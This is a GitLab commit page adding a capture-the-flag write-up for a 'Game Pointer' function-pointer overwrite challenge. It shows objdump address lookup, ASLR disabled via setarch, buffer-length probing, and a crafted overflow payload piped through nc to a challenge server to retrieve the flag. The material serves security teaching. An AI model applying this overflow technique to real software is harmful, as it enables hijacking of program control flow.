Skip to content
Snippets Groups Projects
Commit fb40d68f authored by Marvin's avatar Marvin
Browse files

Added the function pointer challenge

parent 0789a2e0
No related branches found
No related tags found
No related merge requests found
Pipeline #142108 passed
...@@ -18,4 +18,4 @@ ...@@ -18,4 +18,4 @@
## System ## System
- [Can you crackme?](./buffer_overflow.md) - [Can you crackme?](./buffer_overflow.md)
- [Hey, look at my essay!](./suid.md) - [Hey, look at my essay!](./suid.md)
- [Game Pointer]() (./function_pointer_override.md) - [Game Pointer](./function_pointer_override.md)
...@@ -3,10 +3,10 @@ ...@@ -3,10 +3,10 @@
## Description ## Description
We have attached another file for you to crack. The file will tell you again where you have to send your input to, once you cracked it. We have attached another file for you to crack. The file will tell you again where you have to send your input to, once you cracked it.
Note: You have to run the file with: "setarch \`uname -m\` -R ./app_compiled_64" Note: You have to run the file with: "setarch `uname -m` -R ./app_compiled_64"
## Solution ## Solution
To run this command we need to be logged in as root, then we can run it: To run this command you need to be logged in as root, then we can run it:
```bash ```bash
[root@fedora function_pointer] setarch `uname -m` -R ./app_compiled_64 [root@fedora function_pointer] setarch `uname -m` -R ./app_compiled_64
Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_hi Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_hi
...@@ -26,25 +26,76 @@ But with the third option: ...@@ -26,25 +26,76 @@ But with the third option:
Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_flag Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_flag
# No valid action! # No valid action!
``` ```
We can see that there are the different functions have different addresses, except for "say_flag". We can see that there are the different functions have different addresses, except for "say_flag" which is disabled.
So lets search where we can find the "say_flag" function. So lets search where in the binary we can find the "say_flag" function.
```bash ```bash
objdump -d app_compiled_64 objdump -d app_compiled_64
app_compiled_64: file format elf64-x86-64 # app_compiled_64: file format elf64-x86-64
... # ...
00000000000011fa <say_flag>: # 00000000000011fa <say_flag>:
... # ...
0000000000001211 <say_hi>: # 0000000000001211 <say_hi>:
... # ...
0000000000001228 <say_hello>: # 0000000000001228 <say_hello>:
... # ...
``` ```
We can see the address of the functions we previously called. We can see the address of the functions we previously called.
Did you notice a difference in the pointer addresses?
When we executed the function "say_hi" address 0x555555555211 was printed but the objdump said it is located at at 0x0000000000001211.
So there is a offset between the addresses reported by objdump and the *real* addresses while running the program.
Keep this offset in mind, you'll need it later.
Thankfully, because we prefixed setarch `uname -m` -R to the binary, we disabled the [ASLR](https://www.techtarget.com/searchsecurity/definition/address-space-layout-randomization-ASLR) feature and the offset is the same on our system and the server.
> If you did run the app in a debugger e.g. gdb it is likely that ALSR is also disabled.
We do now know where we need to jump to obtain a flag, but how can we convince our program to jump to this address? We do now know where we need to jump to obtain a flag, but how can we convince our program to jump to this address?
### Buffer overflow ### Buffer overflow
We can override the "input_buffer" and write the adress of our flag function directly into the stack We can override the "input_buffer" and write the address of our flag function directly into the stack.
First we need to know the size of the "input_buffer".
```bash
python -c "print('A' * 10 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# No valid action!
python -c "print('A' * 11 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# No valid action!
python -c "print('A' * 12 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# No valid action!
...
python -c "print('A' * 73 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# calling your function function, jumping to 0x41
# Segmentation fault (core dumped)
```
With 73 "A" the program tried a jump to *0x41* (hex for "A" is 0x41), and then crashed.
So the last A was interpreted as a function pointer.
With that knowledge we can now craft an input string which can jump to our flag:
1. 72 "A" for the buffer
2. Offset for the "real" address
3. Address from the *objdump* for the *say_flag* function.
```bash
echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfa\x51\x55\x55\x55\x55" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# calling your function function, jumping to 0x5555555551fa
# fl4g{...
```
And if we send it to the server:
```bash
echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfa\x51\x55\x55\x55\x55" | nc sfl.cs.tu-dortmund.de 10006
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# calling your function function, jumping to 0x5555555551fa
# fl4g{nice_address_you_jumped_to}
```
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment